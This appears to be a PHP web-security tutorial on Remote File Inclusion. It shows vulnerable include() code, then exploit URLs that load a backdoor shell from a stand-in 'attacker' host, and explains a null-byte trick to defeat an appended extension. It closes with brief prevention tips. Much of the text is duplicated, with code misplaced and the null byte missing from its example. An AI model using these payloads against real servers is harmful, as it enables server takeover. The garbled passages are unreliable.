Remote file inclusion(RFI) is a critical vulnerability caused by insufficient validation of user input passed to the web application. The RFI vulnerability allows attackers to load remotely hosted malicious file such as a backdoor shell.
In the above screenshot, the RFI.php file loads the code from 'news.php'.
HTTP request:
http://site/RFI.php?filename=news.php
Let us check the PHP code of RFI.php :
As you can see the developer didn't validate the 'filename' and passed it directly to the 'include' function. It results in Remote File inclusion vulnerability.
Testing the Vulnerability:
Let us test whether the application is vulnerable to Remote File Inclusion by passing "http://www.google.com" as filename parameter to the webpage.
HTTP request:
http://site/RFI.php?filename=http://www.google.com
Hurrah, it successfully loaded the content from the Google.com :) It means the page is vulnerable to RFI :D
Exploiting the vulnerability:
A hacker with malicious intent can load a backdoor shell. The backdoor shell allows the hacker to compromise the entire web server.
For Example:
http://site/RFI.php?filename=http://attacker/shell.txt
Using this shell, now an attacker is able to do anything in the server. For instance, he can delete index.php file.
Example 2:
In most of the web applications, the filename is passed as parameter without the extension(.php).
For example:
http://site/RFI.php?filename=news
------------------------
Code of RFI.php:
------------------------
So, if we pass "shell.txt", then the filename will become "shell.txt.php", results in an error.
To avoid this error, you can use Null Byte. Null byte() indicates the end of the string. The strings following the null byte will be ignored.
We can enter the null byte at the end of our filename to ignore the ".php" string.
http://site/RFI.php?filename=http://attacker/shell.txt
---------
If You would like to test how a remote file inclusion attack works, you can just download our Vulnerable app "BTS Pentesting Lab" from here:
http://code.google.com/p/bts-pentesting-lab/
In case, you would like to see the real world examples, Here is list of Vulnerability reports:
Exploit-Db
How to Prevent Remote File Inclusion vulnerability
Vulnerable Code
Let us say a webpage called "RFI.php" that loads a code from external file using 'filename' parameter.In the above screenshot, the RFI.php file loads the code from 'news.php'.
HTTP request:
http://site/RFI.php?filename=news.php
Let us check the PHP code of RFI.php :
code(RFI.php):The include() function gets the all code/text from the specified file(news.php) and copies it into the current file(rfi.php).
<?php
include($_GET['filename']);
?>
![]() |
Content of news.php file |
As you can see the developer didn't validate the 'filename' and passed it directly to the 'include' function. It results in Remote File inclusion vulnerability.
Testing the Vulnerability:
Let us test whether the application is vulnerable to Remote File Inclusion by passing "http://www.google.com" as filename parameter to the webpage.
HTTP request:
http://site/RFI.php?filename=http://www.google.com
Hurrah, it successfully loaded the content from the Google.com :) It means the page is vulnerable to RFI :D
Exploiting the vulnerability:
A hacker with malicious intent can load a backdoor shell. The backdoor shell allows the hacker to compromise the entire web server.
For Example:
http://site/RFI.php?filename=http://attacker/shell.txt
Using this shell, now an attacker is able to do anything in the server. For instance, he can delete index.php file.
Example 2:
In most of the web applications, the filename is passed as parameter without the extension(.php).
For example:
http://site/RFI.php?filename=news
------------------------
Code of RFI.php:
------------------------
<?phpAs you can see in the above code, the ".php" extension is appended to the filename in the PHP code.
include($_GET['filename'].".php");
?>
So, if we pass "shell.txt", then the filename will become "shell.txt.php", results in an error.
To avoid this error, you can use Null Byte. Null byte() indicates the end of the string. The strings following the null byte will be ignored.
We can enter the null byte at the end of our filename to ignore the ".php" string.
http://site/RFI.php?filename=http://attacker/shell.txt
---------
If You would like to test how a remote file inclusion attack works, you can just download our Vulnerable app "BTS Pentesting Lab" from here:
http://code.google.com/p/bts-pentesting-lab/
In case, you would like to see the real world examples, Here is list of Vulnerability reports:
Exploit-Db
How to Prevent Remote File Inclusion vulnerability
- Disable the 'register_globals' and 'allow_url_fopen' and 'allow_url_include' in PHP.ini file. In latest version of PHP, they have been turned off :) so no need to worry now.
- Validate Users' Input.